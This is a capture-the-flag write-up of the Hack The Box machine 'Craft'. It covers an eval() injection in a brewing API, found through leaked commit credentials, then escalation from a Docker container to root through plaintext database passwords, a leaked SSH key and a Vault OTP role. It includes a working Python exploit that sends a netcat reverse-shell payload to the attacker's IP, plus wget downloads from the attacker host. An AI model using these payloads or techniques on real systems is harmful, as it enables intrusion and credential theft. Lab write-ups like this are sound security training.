Hack The Box - Craft

Quick Summary

Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110 , I added it to /etc/hosts as craft.htb . Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST

Nmap scan report for craft.htb (10.10.10.110)

Host is up (0.22s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)

| ssh-hostkey:

| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)

| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)

|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)

443/tcp open ssl/http nginx 1.15.8

|_http-server-header: nginx/1.15.8

|_http-title: About

| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US

| Not valid before: 2019-02-06T02:25:47

|_Not valid after: 2020-06-20T02:25:47

|_ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

| tls-nextprotoneg:

|_ http/1.1

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds

root@kali:~/Desktop/HTB/boxes/craft#



We got https on port 443 and ssh on port 22.

Web Enumeration

The home page was kinda empty, Only the about info and nothing else:



The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb :

1

2

3

4

< ul class = "nav navbar-nav pull-right" >

< li > < a href = "https://api.craft.htb/api/" > API </ a > </ li >

< li > < a href = "https://gogs.craft.htb/" > < img border = "0" alt = "Git" src = "/static/img/Git-Icon-Black.png" width = "20" height = "20" > </ a > </ li >

</ ul >



So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them.

https://api.craft.htb/api :



Here we can see the API endpoints and how to interact with them.

We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.



We don’t have credentials to authenticate so let’s keep enumerating.

Obviously gogs.craft.htb had gogs running:



The repository of the API source code was publicly accessible so I took a look at the code and the commits.



Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16



"""

Creates a new brew entry.

"""

-

- create_brew(request.json)

- return None , 201

+

+

+ if eval( '%s > 1' % request.json[ 'abv' ]):

+ return "ABV must be a decimal value less than 1.0" , 400

+ else :

+ create_brew(request.json)

+ return None , 201







I took a look at the API documentation again to find in which request I can send the abv parameter:



As you can see we can send a POST request to /brew and inject our payload in the parameter abv , However we still need an authorization token to be able to interact with /brew , and we don’t have any credentials.

The other commit was a test script which had hardcoded credentials, exactly what we need:



1

2

3

4

5

6

7

8

9

10

+response = requests.get( 'https://api.craft.htb/api/auth/login' , auth=( 'dinesh' , '4aUh0A8PbVJxgd' ), verify= False )

+json_response = json.loads(response.text)

+token = json_response[ 'token' ]

+

+headers = { 'X-Craft-API-Token' : token, 'Content-Type' : 'application/json' }

+

+

+response = requests.get( 'https://api.craft.htb/api/auth/check' , headers=headers, verify= False )

+print(response.text)

+



I tested the credentials and they were valid:



RCE –> Shell on Docker Container

I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.

exploit.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45



import requests

import json

from subprocess import Popen

from sys import argv

from os import system



requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)



GREEN = "\033[32m"

YELLOW = "\033[93m"



def get_token () :

req = requests.get( 'https://api.craft.htb/api/auth/login' , auth=( 'dinesh' , '4aUh0A8PbVJxgd' ), verify= False )

response = req.json()

token = response[ 'token' ]

return token



def exploit (token, ip, port) :

tmp = {}



tmp[ 'id' ] = 0

tmp[ 'name' ] = "pwned"

tmp[ 'brewer' ] = "pwned"

tmp[ 'style' ] = "pwned"

tmp[ 'abv' ] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')" .format(ip,port)



payload = json.dumps(tmp)



print(YELLOW + "[+] Starting listener on port {}" .format(port))

Popen([ "nc" , "-lvnp" ,port])



print(YELLOW + "[+] Sending payload" )

requests.post( 'https://api.craft.htb/api/brew/' , headers={ 'X-Craft-API-Token' : token, 'Content-Type' : 'application/json' }, data=payload, verify= False )



if len(argv) != 3 :

print(YELLOW + "[!] Usage: {} [IP] [PORT]" .format(argv[ 0 ]))

exit()



ip = argv[ 1 ]

port = argv[ 2 ]

print(YELLOW + "[+] Authenticating" )

token = get_token()

print(GREEN + "[*] Token: {}" .format(token))

exploit(token, ip, port)





Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

/opt/app # cd /

/ # ls -la

total 64

drwxr-xr-x 1 root root 4096 Feb 10 2019 .

drwxr-xr-x 1 root root 4096 Feb 10 2019 ..

-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv

drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin

drwxr-xr-x 5 root root 340 Jan 3 14:58 dev

drwxr-xr-x 1 root root 4096 Feb 10 2019 etc

drwxr-xr-x 2 root root 4096 Jan 30 2019 home

drwxr-xr-x 1 root root 4096 Feb 6 2019 lib

drwxr-xr-x 5 root root 4096 Jan 30 2019 media

drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt

drwxr-xr-x 1 root root 4096 Feb 9 2019 opt

dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc

drwx------ 1 root root 4096 Jan 3 15:16 root

drwxr-xr-x 2 root root 4096 Jan 30 2019 run

drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin

drwxr-xr-x 2 root root 4096 Jan 30 2019 srv

dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys

drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp

drwxr-xr-x 1 root root 4096 Feb 9 2019 usr

drwxr-xr-x 1 root root 4096 Jan 30 2019 var

/ #



Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag

In /opt/app there was a python script called dbtest.py , It connects to the database and executes a SQL query:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

/opt/app

total 44

drwxr-xr-x 5 root root 4096 Jan 3 17 : 28 .

drwxr-xr-x 1 root root 4096 Feb 9 2019 ..

drwxr-xr-x 8 root root 4096 Feb 8 2019 .git

-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore

-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py

drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api

-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py

drwxr-xr-x 2 root root 4096 Feb 7 2019 tests

/opt/app





import pymysql

from craft_api import settings







connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,

user=settings.MYSQL_DATABASE_USER,

password=settings.MYSQL_DATABASE_PASSWORD,

db=settings.MYSQL_DATABASE_DB,

cursorclass=pymysql.cursors.DictCursor)



try :

with connection.cursor() as cursor:

sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"

cursor.execute(sql)

result = cursor.fetchone()

print(result)



finally :

connection.close()

/opt/app



I copied the script and changed result = cursor.fetchone() to result = cursor.fetchall() and I changed the query to SHOW TABLES :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22





import pymysql

from craft_api import settings







connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,

user=settings.MYSQL_DATABASE_USER,

password=settings.MYSQL_DATABASE_PASSWORD,

db=settings.MYSQL_DATABASE_DB,

cursorclass=pymysql.cursors.DictCursor)



try :

with connection.cursor() as cursor:

sql = "SHOW TABLES"

cursor.execute(sql)

result = cursor.fetchall()

print(result)



finally :

connection.close()



There were two tables, user and brew :

1

2

3

4

5

6

7

8

/opt/app # wget http://10.10.xx.xx/db1.py

Connecting to 10.10.xx.xx (10.10.xx.xx:80)

db1.py 100% |********************************| 629 0:00:00 ETA



/opt/app # python db1.py

[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]

/opt/app # rm db1.py

/opt/app #



I changed the query to SELECT * FROM user :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22





import pymysql

from craft_api import settings







connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,

user=settings.MYSQL_DATABASE_USER,

password=settings.MYSQL_DATABASE_PASSWORD,

db=settings.MYSQL_DATABASE_DB,

cursorclass=pymysql.cursors.DictCursor)



try :

with connection.cursor() as cursor:

sql = "SELECT * FROM user"

cursor.execute(sql)

result = cursor.fetchall()

print(result)



finally :

connection.close()



The table had all users credentials stored in plain text:

1

2

3

4

5

6

7

8

/opt/app # wget http://10.10.xx.xx/db2.py

Connecting to 10.10.xx.xx (10.10.xx.xx:80)

db2.py 100% |********************************| 636 0:00:00 ETA



/opt/app # python db2.py

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

/opt/app # rm db2.py

/opt/app #



Gilfoyle had a private repository called craft-infra :





He left his private ssh key in the repository:





When I tried to use the key it asked for password as it was encrypted, I tried his gogs password ( ZEU3N8WNM2rh4T ) and it worked:



We owned user.

Vault –> One-Time SSH Password –> SSH as root –> Root Flag

In Gilfoyle’s home directory there was a file called .vault-token :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

gilfoyle@craft:~$ ls -la

total 44

drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .

drwxr-xr-x 3 root root 4096 Feb 9 2019 ..

-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc

drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config

drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg

-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile

drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh

-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt

-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token

-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo

gilfoyle@craft:~$ cat .vault-token

f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle@craft:~$



A quick search revealed that it’s related to vault .

Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io

By looking at vault.sh from craft-infra repository ( vault/vault.sh ), we’ll see that it enables the ssh secrets engine then creates an otp role for root :

1

2

3

4

5

6

7

8

9

10









vault secrets enable ssh



vault write ssh/roles/root_otp \

key_type=otp \

default_user=root \

cidr_list=0.0.0.0/0



We have the token ( .vault-token ) so we can easily authenticate to the vault and create an otp for a root ssh session:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

gilfoyle@craft:~$ vault login

Token (will be hidden):

Success! You are now authenticated. The token information displayed below

is already stored in the token helper. You do NOT need to run "vault login"

again. Future Vault requests will automatically use this token.



Key Value

--- -----

token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103

token_duration ∞

token_renewable false

token_policies ["root"]

identity_policies []

policies ["root"]

gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1

Key Value

--- -----

lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198

lease_duration 768h

lease_renewable false

ip 127.0.0.1

key c495f06b-daac-8a95-b7aa-c55618b037ee

key_type otp

port 22

username root

gilfoyle@craft:~$



And finally we’ll ssh into localhost and use the generated password ( c495f06b-daac-8a95-b7aa-c55618b037ee ):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

gilfoyle@craft:~$ ssh root@127.0.0.1





. * .. . * *

* * @()Ooc()* o .

(Q@*0CG*O() ___

|\_________/|/ _ \

| | | | | / | |

| | | | | | | |

| | | | | | | |

| | | | | | | |

| | | | | | | |

| | | | | \_| |

| | | | |\___/

|\_|__|__|_/|

\_________/







Password:

Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64



The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.



Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Tue Aug 27 04:53:14 2019

root@craft:~#





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Smasher2

Next Hack The Box write-up : Hack The Box - Bitlab